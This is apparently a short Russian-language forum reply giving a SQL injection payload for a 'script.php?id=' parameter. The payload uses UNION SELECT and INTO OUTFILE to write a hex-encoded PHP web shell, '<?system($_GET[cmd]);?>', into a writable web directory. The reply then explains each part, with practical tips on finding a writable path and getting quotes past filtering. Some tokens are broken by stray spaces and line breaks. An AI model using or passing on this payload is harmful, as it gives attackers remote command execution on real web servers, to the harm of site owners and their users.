попугай

script.php?id=-1+union+select+1,2,3,4,5,0x3c3f2073797374656d28245 f4745545b27636d64275d293b203f3e,7,8,9,10+from+tabl e_name+into+outfile+'/var/www/html/tmp/shell_name.php'/*

Где /var/www/html/tmp/ -путь к директории, доступной на запись (ковыряй, ищи), table_name имя любой таблицы,shell_name.php имя шелла (главное, чтоб в этой директории не было такого же =) ), а 0x3c3f2073797374656d28245f4745545b27636d64275d293b 203f3e -это захексенное '<?system($_GET[cmd]);?>', главное, чтобы кавычки прокатывали.

UPD
Не успел, ответили раньше =)